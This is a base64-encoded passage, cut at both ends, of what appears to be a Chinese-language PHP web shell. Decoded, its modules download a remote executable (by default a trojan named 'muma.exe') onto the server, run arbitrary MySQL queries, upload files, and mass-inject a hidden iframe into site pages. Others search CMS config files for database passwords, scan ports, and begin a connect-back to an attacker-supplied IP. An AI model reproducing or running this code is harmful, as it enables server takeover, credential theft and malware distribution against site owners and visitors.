2RiJ10gLiAiJnRhYmxlPSIgLiAkcm93WzBdIC4gIic+IiAuICRyb3dbMF0gLiAiPC9hPjwvdGQ+PC90cj4iKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBicmVhazsKCiAgICBjYXNlICJkb3dubG9hZGVyIjoKICAgICAgICAkQ29tX2R1cmwgPSBpc3NldCgkX1BPU1RbJ2R1cmwnXSkgPyAkX1BPU1RbJ2R1cmwnXSA6ICdodHRwOi8vd3d3LmJhaWR1LmNvbS9kb3duL211bWEuZXhlJzsKICAgICAgICAkQ29tX2RwYXRoID0gaXNzZXQoJF9QT1NUWydkcGF0aCddKSA/ICRfUE9TVFsnZHBhdGgnXSA6IEZpbGVfU3RyKGRpcm5hbWUobXlhZGRyZXNzKSAuICcvbXVtYS5leGUnKTsKICAgICAgICBwcmludDw8PEVORAoJPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgIDxkaXYgY2xhc3M9ImFjdGFsbCI+s6zBrL3TIDxpbnB1dCBuYW1lPSJkdXJsIiB2YWx1ZT0ieyRDb21fZHVybH0iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2PgogICAgPGRpdiBjbGFzcz0iYWN0YWxsIj7PwtTYtb0gPGlucHV0IG5hbWU9ImRwYXRoIiB2YWx1ZT0ieyRDb21fZHBhdGh9IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHZhbHVlPSLPwtTYIiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPgpFTkQ7CiAgICAgICAgaWYgKCghZW1wdHkoJF9QT1NUWydkdXJsJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsnZHBhdGgnXSkpKSB7CiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKICAgICAgICAgICAgJGNvbnRlbnRzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsnZHVybCddKTsKICAgICAgICAgICAgaWYgKCEkY29udGVudHMpIGVjaG8gJ87et6i2wcih0qrPwtTYtcTK/b7dJzsKICAgICAgICAgICAgZWxzZSBlY2hvIEZpbGVfV3JpdGUoJF9QT1NUWydkcGF0aCddLCAkY29udGVudHMsICd3YicpID8gJ8/C1NjOxLz+s8m5picgOiAnz8LU2M7EvP7Kp7DcJzsKICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICB9CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAiaXNzcWwiOgogICAgICAgIGlmICgkX1BPU1RbJ3NxbHVzZXInXSAmJiAkX1BPU1RbJ3NxbHBhc3MnXSkgewogICAgICAgICAgICAkX1NFU1NJT05bJ3NxbF91c2VyJ10gPSAkX1BPU1RbJ3NxbHVzZXInXTsKICAgICAgICAgICAgJF9TRVNTSU9OWydzcWxfcGFzc3dvcmQnXSA9ICRfUE9TVFsnc3FscGFzcyddOwogICAgICAgIH0KICAgICAgICBpZiAoJF9QT1NUWydzcWxob3N0J10pIHsKICAgICAgICAgICAgJF9TRVNTSU9OWydzcWxfaG9zdCddID0gJF9QT1NUWydzcWxob3N0J107CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF9TRVNTSU9OWydzcWxfaG9zdCddID0gJ2xvY2FsaG9zdCc7CiAgICAgICAgfQogICAgICAgIGlmICgkX1BPU1RbJ3NxbHBvcnQnXSkgewogICAgICAgICAgICAkX1NFU1NJT05bJ3NxbF9wb3J0J10gPSAkX1BPU1RbJ3NxbHBvcnQnXTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkX1NFU1NJT05bJ3NxbF9wb3J0J10gPSAnMzMwNic7CiAgICAgICAgfQogICAgICAgIGlmICgkX1NFU1NJT05bJ3NxbF91c2VyJ10gJiYgJF9TRVNTSU9OWydzcWxfcGFzc3dvcmQnXSkgewogICAgICAgICAgICBpZiAoISgkc3FsY29uID0gQG15c3FsaV9jb25uZWN0KCRfU0VTU0lPTlsnc3FsX2hvc3QnXSAuICc6JyAuICRfU0VTU0lPTlsnc3FsX3BvcnQnXSwgJF9TRVNTSU9OWydzcWxfdXNlciddLCAkX1NFU1NJT05bJ3NxbF9wYXNzd29yZCddKSkpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnc3FsX3VzZXInXSwgJF9TRVNTSU9OWydzcWxfcGFzc3dvcmQnXSwgJF9TRVNTSU9OWydzcWxfaG9zdCddLCAkX1NFU1NJT05bJ3NxbF9wb3J0J10pOwogICAgICAgICAgICAgICAgZGllKGh0bWxfYSgnP3dlYnNpdGVfPXNxbHNoZWxsJywgJ8GsvdPKp7Dcx+u3tbvYJykpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZGllKGh0bWxfYSgnP3dlYnNpdGVfPXNxbHNoZWxsJywgJ8GsvdPKp7Dcx+u3tbvYJykpOwogICAgICAgIH0KICAgICAgICAkcXVlcnkgPSBteXNxbGlfcXVlcnkoJHNxbGNvbiwgIlNIT1cgREFUQUJBU0VTIik7CiAgICAgICAgaHRtbF9uKCc8dHI+PHRkPsr9vt2/4sHQse06Jyk7CiAgICAgICAgd2hpbGUgKCRkYiA9IG15c3FsaV9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CiAgICAgICAgICAgIGh0bWxfYSgnP3dlYnNpdGVfPWlzc3FsJmRiPScgLiAkZGJbJ0RhdGFiYXNlJ10sICRkYlsnRGF0YWJhc2UnXSk7CiAgICAgICAgICAgIGVjaG8gJyZuYnNwOyZuYnNwOyc7CiAgICAgICAgfQogICAgICAgIGh0bWxfbignPC90ZD48L3RyPicpOwogICAgICAgIGlmICgkX0dFVFsnZGInXSkgewogICAgICAgICAgICBjc3NfanMoIjMiKTsKICAgICAgICAgICAgbXlzcWxpX3NlbGVjdF9kYigkc3FsY29uLCAkX0dFVFsnZGInXSk7CiAgICAgICAgICAgIGh0bWxfbignPHRyPjx0ZD48Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9IkRiRm9ybSIgaWQ9IkRiRm9ybSI+PHRleHRhcmVhIG5hbWU9InNxbCIgaWQ9InNxbCIgQ09MUz0iODAiIFJPV1M9IjMiPicgLiAkX1BPU1RbJ3NxbCddIC4gJzwvdGV4dGFyZWE+PGJyPicpOwogICAgICAgICAgICBodG1sX3NlbGVjdChhcnJheSgwID0+ICItLVNRTNPvt6gtLSIsIDcgPT4gIsztvNPK/b7dIiwgOCA9PiAiyb6z/cr9vt0iLCA5ID0+ICLQ3rjEyv2+3SIsIDEwID0+ICK9qMr9vt2x7SIsIDExID0+ICLJvsr9vt2x7SIsIDEyID0+ICLM7bzT19a2ziIsIDEzID0+ICLJvrP919a2ziIpLCAwLCAib25jaGFuZ2U9J3JldHVybiBGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpJyIpOwogICAgICAgICAgICBodG1sX2lucHV0KCJzdWJtaXQiLCAiZG9xdWVyeSIsICLWtNDQIik7CiAgICAgICAgICAgIGh0bWxfYSgiP3dlYnNpdGVfPWlzc3FsJmRiPSIgLiAkX0dFVFsnZGInXSwgJF9HRVRbJ2RiJ10pOwogICAgICAgICAgICBodG1sX24oJy0tLT4nKTsKICAgICAgICAgICAgaHRtbF9hKCI/d2Vic2l0ZV89aXNzcWwmZGI9IiAuICRfR0VUWydkYiddIC4gIiZ0YWJsZT0iIC4gJF9HRVRbJ3RhYmxlJ10sICRfR0VUWyd0YWJsZSddKTsKICAgICAgICAgICAgaHRtbF9uKCc8L2Zvcm0+PGJyPicpOwogICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsnc3FsJ10pKSB7CiAgICAgICAgICAgICAgICBpZiAoQG15c3FsaV9xdWVyeSggJHNxbGNvbiwgJF9QT1NUWydzcWwnXSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICLWtNDQU1FM0+++5LPJuaYiOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICKz9rTtOiAiIC4gbXlzcWxpX2Vycm9yKCRzcWxjb24pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX0dFVFsndGFibGUnXSkgewogICAgICAgICAgICAgICAgaHRtbF9uKCc8dGFibGUgYm9yZGVyPTE+PHRyPicpOwogICAgICAgICAgICAgICAgJHF1ZXJ5ID0gIlNIT1cgQ09MVU1OUyBGUk9NICIgLiAkX0dFVFsndGFibGUnXTsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJHNxbGNvbiwkcXVlcnkpOwogICAgICAgICAgICAgICAgJGZpZWxkcyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZpZWxkcywgJHJvd1snRmllbGQnXSk7CiAgICAgICAgICAgICAgICAgICAgaHRtbF9uKCc8dGQ+PGZvbnQgY29sb3I9I0ZGRkY0ND4nIC4gJHJvd1snRmllbGQnXSAuICc8L2ZvbnQ+PC90ZD4nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGh0bWxfbignPC90cj48dHI+Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRzcWxjb24sIlNFTEVDVCAqIEZST00gIiAuICRfR0VUWyd0YWJsZSddKSBvciBkaWUobXlzcWxpX2Vycm9yKCRzcWxjb24pKTsKICAgICAgICAgICAgICAgIHdoaWxlICgkdGV4dCA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmllbGRzIGFzICRyb3cpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0ZXh0WyRyb3ddID09ICIiKSAkdGV4dFskcm93XSA9ICdOVUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgaHRtbF9uKCc8dGQ+JyAuICR0ZXh0WyRyb3ddIC4gJzwvdGQ+Jyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRxdWVyeSA9ICJTSE9XIFRBQkxFUyBGUk9NICIgLiAkX0dFVFsnZGInXTsKICAgICAgICAgICAgICAgICRkYXQgPSBteXNxbGlfcXVlcnkoJHNxbGNvbiwgJHF1ZXJ5KSBvciBkaWUobXlzcWxpX2Vycm9yKCRzcWxjb24pKTsKICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkZGF0KSkgewogICAgICAgICAgICAgICAgICAgIGh0bWxfbigiPHRyPjx0ZD48YSBocmVmPSc/d2Vic2l0ZV89aXNzcWwmZGI9IiAuICRfR0VUWydkYiddIC4gIiZ0YWJsZT0iIC4gJHJvd1swXSAuICInPiIgLiAkcm93WzBdIC4gIjwvYT48L3RkPjwvdHI+Iik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAidXBmaWxlcyI6CiAgICAgICAgaHRtbF9uKCc8dHI+PHRkPrf+zvHG98/e1sbJz7SrtaW49s7EvP6089ChOiAnIC4gQGdldF9jZmdfdmFyKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgLiAnPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4nKTsKICAgICAgICBodG1sX2lucHV0KCJ0ZXh0IiwgInVwcGF0aCIsIHJvb3RfZGlyLCAiPGJyPsnPtKu1vcK3vrY6ICIsICI1MSIpOwogICAgICAgIHByaW50PDw8RU5ECjxTQ1JJUFQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgpmdW5jdGlvbiBhZGRUYW5rKCl7CnZhciBrPTA7CiAgaz1rKzE7CiAgaz10YW5rLnJvd3MubGVuZ3RoOwogIG5ld1Jvdz1kb2N1bWVudC5hbGwudGFuay5pbnNlcnRSb3coLTEpCiAgPCEtLcm+s/3RodTxLS0+CiAgbmV3Y2VsbD1uZXdSb3cuaW5zZXJ0Q2VsbCgpCiAgbmV3Y2VsbC5pbm5lckhUTUw9IjxpbnB1dCBuYW1lPSd0YW5rTm8nIHR5cGU9J2NoZWNrYm94Jz4gPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3VwZmlsZVtdJyB2YWx1ZT0nJyBzaXplPSc1MCc+Igp9CgpmdW5jdGlvbiBkZWxUYW5rKCkgewogIGlmKHRhbmsucm93cy5sZW5ndGg9PTEpIHJldHVybjsKICB2YXIgY2hlY2tpdCA9IGZhbHNlOwogIGZvciAodmFyIGk9MDtpPGRvY3VtZW50LmFsbC50YW5rTm8ubGVuZ3RoO2krKykgewogICAgaWYgKGRvY3VtZW50LmFsbC50YW5rTm9baV0uY2hlY2tlZCkgewogICAgICBjaGVja2l0PXRydWU7CiAgICAgIHRhbmsuZGVsZXRlUm93KGkrMSk7CiAgICAgIGktLTsKICAgIH0KICB9CiAgaWYgKGNoZWNraXQpIHsKICB9IGVsc2V7CiAgICBhbGVydCgix+vRodTx0ru49tKqyb6z/bXEttTP8yIpOwogICAgcmV0dXJuIGZhbHNlOwogIH0KfQo8L1NDUklQVD4KPGJyPjxicj4KPHRhYmxlIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0iMTAwJSIgYm9yZGVyPTA+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iNyUiPjxpbnB1dCBjbGFzcz0iYnV0dG9uMDEiIHR5cGU9ImJ1dHRvbiIgIG9uY2xpY2s9ImFkZFRhbmsoKSIgdmFsdWU9IiDM7SC80yAiIG5hbWU9ImJ1dHRvbjIiLz4KICAgICAgICAgICAgPGlucHV0IG5hbWU9ImJ1dHRvbjMiICB0eXBlPSJidXR0b24iIGNsYXNzPSJidXR0b24wMSIgb25DbGljaz0iZGVsVGFuaygpIiB2YWx1ZT0iyb6z/SIgLz4KICAgICAgICAgICAgPC90ZD4KICAgICAgICAgIDwvdHI+CjwvdGFibGU+Cjx0YWJsZSAgaWQ9InRhbmsiIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIxIiBjZWxsc3BhY2luZz0iMSIgPgo8dHI+PHRkPsfr0aHU8dKqyc+0q7XEzsS8/qO6PC90ZD48L3RyPgo8dHI+PHRkPjxpbnB1dCBuYW1lPSd0YW5rTm8nIHR5cGU9J2NoZWNrYm94Jz4gPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3VwZmlsZVtdJyB2YWx1ZT0nJyBzaXplPSc1MCc+PC90ZD48L3RyPgo8L3RhYmxlPgpFTkQ7CiAgICAgICAgaHRtbF9uKCc8YnI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBmaWxlcyIgdmFsdWU9IsnPtKsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+IDxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK3tbvYIiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb249XCc/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiByb290X2RpciAuICdcJzsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+Jyk7CiAgICAgICAgaWYgKCRfUE9TVFsndXBmaWxlcyddKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfRklMRVNbInVwZmlsZSJdWyJlcnJvciJdIGFzICRrZXkgPT4gJGVycm9yKSB7CiAgICAgICAgICAgICAgICBpZiAoJGVycm9yID09IFVQTE9BRF9FUlJfT0spIHsKICAgICAgICAgICAgICAgICAgICAkdG1wX25hbWUgPSAkX0ZJTEVTWyJ1cGZpbGUiXVsidG1wX25hbWUiXVska2V5XTsKICAgICAgICAgICAgICAgICAgICAkbmFtZSA9ICRfRklMRVNbInVwZmlsZSJdWyJuYW1lIl1bJGtleV07CiAgICAgICAgICAgICAgICAgICAgJHVwbG9hZGZpbGUgPSBzdHJfcGF0aCgkX1BPU1RbJ3VwcGF0aCddIC4gJy8nIC4gJG5hbWUpOwogICAgICAgICAgICAgICAgICAgICR1cGxvYWQgPSBAY29weSgkdG1wX25hbWUsICR1cGxvYWRmaWxlKSA/ICRuYW1lIC4gJG1zZ1syXSA6IEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkdXBsb2FkZmlsZSkgPyAkbmFtZSAuICRtc2dbMl0gOiAkbmFtZSAuICRtc2dbM107CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyPjxicj4nIC4gJHVwbG9hZDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBodG1sX24oJzwvZm9ybT4nKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJndWFtYSI6CiAgICAgICAgJHBhdGh0ID0gaXNzZXQoJF9QT1NUWydwYXRoJ10pID8gJF9QT1NUWydwYXRoJ10gOiByb290X2RpcjsKICAgICAgICAkdHlwZXQgPSBpc3NldCgkX1BPU1RbJ3R5cGUnXSkgPyAkX1BPU1RbJ3R5cGUnXSA6ICIuaHRtbHwuc2h0bWx8Lmh0bXwuYXNwfC5waHB8LmpzcHwuY2dpfC5hc3B4IjsKICAgICAgICAkY29kZXQgPSBpc3NldCgkX1BPU1RbJ2NvZGUnXSkgPyAkX1BPU1RbJ2NvZGUnXSA6ICI8aWZyYW1lIHNyYz1cImh0dHA6Ly9sb2NhbGhvc3Qvd2Vic2l0ZV8uaHRtXCIgd2lkdGg9XCIxXCIgaGVpZ2h0PVwiMVwiPjwvaWZyYW1lPiI7CiAgICAgICAgaHRtbF9uKCc8dHI+PHRkPs7EvP7A4NDNx+vTwyJ8Irj0v6os0rK/ydLUysfWuLaozsS8/sP7Ljxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPicpOwogICAgICAgIGh0bWxfaW5wdXQoInRleHQiLCAicGF0aCIsICRwYXRodCwgIsK3vra3ts6nIiwgIjQ1Iik7CiAgICAgICAgaHRtbF9pbnB1dCgiY2hlY2tib3giLCAicGFzcyIsICIiLCAiyrnTw8S/wryx6cD6IiwgIiIsIHRydWUpOwogICAgICAgIGh0bWxfaW5wdXQoInRleHQiLCAidHlwZSIsICR0eXBldCwgIjxicj48YnI+zsS8/sDg0M0iLCAiNjAiKTsKICAgICAgICBodG1sX3RleHQoImNvZGUiLCAiNjciLCAiNSIsICRjb2RldCk7CiAgICAgICAgaHRtbF9uKCc8YnI+PGJyPicpOwogICAgICAgIGh0bWxfcmFkaW8oIsX6wb+50sLtIiwgIsX6wb/H5cLtIiwgImd1YW1hIiwgInFpbmdtYSIpOwogICAgICAgIGh0bWxfaW5wdXQoInN1Ym1pdCIsICJwYXNzcmV0dXJuIiwgIr+qyrwiKTsKICAgICAgICBodG1sX24oJzwvdGQ+PC90cj48L2Zvcm0+Jyk7CiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3BhdGgnXSkpIHsKICAgICAgICAgICAgaHRtbF9uKCc8dHI+PHRkPsS/serOxLz+Ojxicj48YnI+Jyk7CiAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpICRib29sID0gdHJ1ZTsgZWxzZSAkYm9vbCA9IGZhbHNlOwogICAgICAgICAgICBkb19wYXNzcmV0dXJuKCRwYXRodCwgJGNvZGV0LCAkX1BPU1RbJ3JldHVybiddLCAkYm9vbCwgJHR5cGV0KTsKICAgICAgICB9CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAidGlodWFuIjoKICAgICAgICBodG1sX24oJzx0cj48dGQ+tMu5psTcv8nF+sG/zOa7u87EvP7E2sjdLMfr0KHQxMq508MuPGJyPjxicj48Zm9ybSBtZXRob2Q9IlBPU1QiPicpOwogICAgICAgIGh0bWxfaW5wdXQoInRleHQiLCAicGF0aCIsIHJvb3RfZGlyLCAiwre+tre2zqciLCAiNDUiKTsKICAgICAgICBodG1sX2lucHV0KCJjaGVja2JveCIsICJwYXNzIiwgIiIsICLKudPDxL/CvLHpwPoiLCAiIiwgdHJ1ZSk7CiAgICAgICAgaHRtbF90ZXh0KCJuZXdjb2RlIiwgIjY3IiwgIjUiLCAkX1BPU1RbJ25ld2NvZGUnXSk7CiAgICAgICAgaHRtbF9uKCc8YnI+PGJyPszmu7vOqicpOwogICAgICAgIGh0bWxfdGV4dCgib2xkY29kZSIsICI2NyIsICI1IiwgJF9QT1NUWydvbGRjb2RlJ10pOwogICAgICAgIGh0bWxfaW5wdXQoInN1Ym1pdCIsICJwYXNzcmV0dXJuIiwgIszmu7siLCAiPGJyPjxicj4iKTsKICAgICAgICBodG1sX24oJzwvdGQ+PC90cj48L2Zvcm0+Jyk7CiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3BhdGgnXSkpIHsKICAgICAgICAgICAgaHRtbF9uKCc8dHI+PHRkPsS/serOxLz+Ojxicj48YnI+Jyk7CiAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpICRib29sID0gdHJ1ZTsgZWxzZSAkYm9vbCA9IGZhbHNlOwogICAgICAgICAgICBkb19wYXNzcmV0dXJuKCRfUE9TVFsncGF0aCddLCAkX1BPU1RbJ25ld2NvZGUnXSwgInRpaHVhbiIsICRib29sLCAkX1BPU1RbJ29sZGNvZGUnXSk7CiAgICAgICAgfQogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgInNjYW5maWxlIjoKICAgICAgICBjc3NfanMoIjQiKTsKICAgICAgICBodG1sX24oJzx0cj48dGQ+tMu5psTcv8m63Le9seO1xMvRy/e1vbGjtOZNWVNRTNPDu6fD3MLrtcTF5NbDzsS8/izTw9PazOHIqC48YnI+tbG3/s7xxvfOxLz+zKu24MqxLLvh07DP7Na00NDL2bbILLK7vajS6cq508PEv8K8senA+i48Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9InNmb3JtIj48YnI+Jyk7CiAgICAgICAgaHRtbF9pbnB1dCgidGV4dCIsICJwYXRoIiwgcm9vdF9kaXIsICLCt762w/siLCAiNDUiKTsKICAgICAgICBodG1sX2lucHV0KCJjaGVja2JveCIsICJwYXNzIiwgIiIsICLKudPDxL/CvLHpwPoiLCAiIiwgdHJ1ZSk7CiAgICAgICAgaHRtbF9pbnB1dCgidGV4dCIsICJjb2RlIiwgJF9QT1NUWydjb2RlJ10sICI8YnI+PGJyPrnYvPzX1iIsICI0MCIpOwogICAgICAgIGh0bWxfc2VsZWN0KGFycmF5KCItLU1ZU1FMxeTWw87EvP4tLSIsICJEaXNjdXoiLCAiUEhQV2luZCIsICJwaHBjbXMiLCAiZGVkZWNtcyIsICJQSFBCQiIsICJ3b3JkcHJlc3MiLCAic2EtYmxvZyIsICJvLWJsb2ciKSwgMCwgIm9uY2hhbmdlPSdyZXR1cm4gRnVsbGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknIik7CiAgICAgICAgaHRtbF9uKCc8YnI+PGJyPicpOwogICAgICAgIGh0bWxfcmFkaW8oIsvRy/fOxLz+w/siLCAiy9HL97D8uqzOxNfWIiwgInNjYW5maWxlIiwgInNjYW5jb2RlIik7CiAgICAgICAgaHRtbF9pbnB1dCgic3VibWl0IiwgInBhc3NyZXR1cm4iLCAiy9HL9yIpOwogICAgICAgIGh0bWxfbignPC90ZD48L3RyPjwvZm9ybT4nKTsKICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsncGF0aCddKSkgewogICAgICAgICAgICBodG1sX24oJzx0cj48dGQ+1dK1vc7EvP46PGJyPjxicj4nKTsKICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncGFzcyddKSkgJGJvb2wgPSB0cnVlOyBlbHNlICRib29sID0gZmFsc2U7CiAgICAgICAgICAgIGRvX3Bhc3NyZXR1cm4oJF9QT1NUWydwYXRoJ10sICRfUE9TVFsnY29kZSddLCAkX1BPU1RbJ3JldHVybiddLCAkYm9vbCk7CiAgICAgICAgfQogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgInNjYW5waHAiOgogICAgICAgIGh0bWxfbignPHRyPjx0ZD7UrcDtyse4+b7dzNjV98LrtqjS5bXELMfrsum/tLT6wuvF0LbPuvPU2b340NDJvrP9Ljxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPicpOwogICAgICAgIGh0bWxfaW5wdXQoInRleHQiLCAicGF0aCIsIHJvb3RfZGlyLCAisunV0re2zqciLCAiNDAiKTsKICAgICAgICBodG1sX2lucHV0KCJjaGVja2JveCIsICJwYXNzIiwgIiIsICLKudPDxL/CvLHpwPo8YnI+PGJyPr3Fsb7A4NDNIiwgIiIsIHRydWUpOwogICAgICAgIGh0bWxfc2VsZWN0KGFycmF5KCJwaHAiID0+ICJQSFAiLCAiYXNwIiA9PiAiQVNQIiwgImFzcHgiID0+ICJBU1BYIiwgImpzcCIgPT4gIkpTUCIpKTsKICAgICAgICBodG1sX2lucHV0KCJzdWJtaXQiLCAicGFzc3JldHVybiIsICKy6dXSIiwgIjxicj48YnI+Iik7CiAgICAgICAgaHRtbF9uKCc8L3RkPjwvdHI+PC9mb3JtPicpOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7CiAgICAgICAgICAgIGh0bWxfbignPHRyPjx0ZD7V0rW9zsS8/jo8YnI+PGJyPicpOwogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydwYXNzJ10pKSAkYm9vbCA9IHRydWU7IGVsc2UgJGJvb2wgPSBmYWxzZTsKICAgICAgICAgICAgZG9fcGFzc3JldHVybigkX1BPU1RbJ3BhdGgnXSwgJF9QT1NUWydjbGFzcyddLCAic2NhbnBocCIsICRib29sKTsKICAgICAgICB9CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAicG9ydCI6CiAgICAgICAgJFBvcnRfaXAgPSBpc3NldCgkX1BPU1RbJ2lwJ10pID8gJF9QT1NUWydpcCddIDogJzEyNy4wLjAuMSc7CiAgICAgICAgJFBvcnRfcG9ydCA9IGlzc2V0KCRfUE9TVFsncG9ydCddKSA/ICRfUE9TVFsncG9ydCddIDogJzIyfDgwfDEzNXw0NDN8NDQ1fDg4OHwxNDMzfDE1MjF8MzMwNnwzMzg5fDcwMDF8ODA4MHw4ODg4JzsKICAgICAgICBwcmludDw8PEVORAo8Zm9ybSBtZXRob2Q9IlBPU1QiPgo8ZGl2IGNsYXNzPSJhY3RhbGwiPsmow+hJUCA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXAiIHZhbHVlPSJ7JFBvcnRfaXB9IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij4gPC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+tsu/2rrFIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwb3J0IiB2YWx1ZT0ieyRQb3J0X3BvcnR9IiBzdHlsZT0id2lkdGg6NTk3cHg7Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iyajD6CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4KPC9mb3JtPgpFTkQ7CiAgICAgICAgaWYgKCghZW1wdHkoJF9QT1NUWydpcCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkpKSB7CiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKICAgICAgICAgICAgJHBvcnRzID0gZXhwbG9kZSgnfCcsICRfUE9TVFsncG9ydCddKTsKICAgICAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJHBvcnRzKTsgJGkrKykgewogICAgICAgICAgICAgICAgJGZwID0gQGZzb2Nrb3BlbigkX1BPU1RbJ2lwJ10sICRwb3J0c1skaV0sICRlcnJubywgJGVycnN0ciwgMik7CiAgICAgICAgICAgICAgICBlY2hvICRmcCA/ICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+v6q3xbbLv9ogLS0tPiAnIC4gJHBvcnRzWyRpXSAuICc8L2ZvbnQ+PGJyPicgOiAnudix1bbLv9ogLS0tPiAnIC4gJHBvcnRzWyRpXSAuICc8YnI+JzsKICAgICAgICAgICAgICAgIG9iX2ZsdXNoKCk7CiAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgfQogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgIm1zZiI6CiAgICAgICAgc2V0X3RpbWVfbGltaXQoMCk7CiAgICAgICAgaWdub3JlX3VzZXJfYWJvcnQoMSk7CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncG9ydCddKSAmJiBpc3NldCgkX1BPU1RbJ2lwJ10pKSB7CgogICAgICAgICAgICAkaXAgPSAkX1BPU1RbJ2lwJ107CiAgICAgICAgICAgICRwb3J0ID0gJF9QT1NUWydwb3J0J107CiAgICAgICAgICAgIGlm